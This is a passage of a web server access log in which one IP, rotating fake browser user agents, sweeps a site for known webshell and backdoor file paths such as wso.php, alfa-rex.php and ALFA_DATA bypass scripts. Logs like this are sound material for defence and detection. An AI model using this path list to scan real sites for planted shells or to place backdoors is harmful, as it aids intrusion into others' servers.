301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:57 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:58 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:00:59 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:01:00 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:01 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:01 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:01:01 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:01 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:01 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:01 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:01 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:01:02 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:03 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:03 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:03 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:03 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:03 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:03 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:03 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:01:04 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:04 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:04 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:04 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:04 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:01:04 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:04 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:05 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:05 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:05 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:05 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:05 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:01:05 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:05 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:06 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:07 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:07 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:07 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:07 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:07 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:07 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:07 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:08 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:08 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:08 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:08 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:08 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:01:08 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:08 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:09 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:10 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:10 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:10 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:10 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:10 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:10 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:10 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:11 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:11 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:11 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:11 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:11 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:11 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:12 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:12 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:12 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:12 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:12 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:12 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) 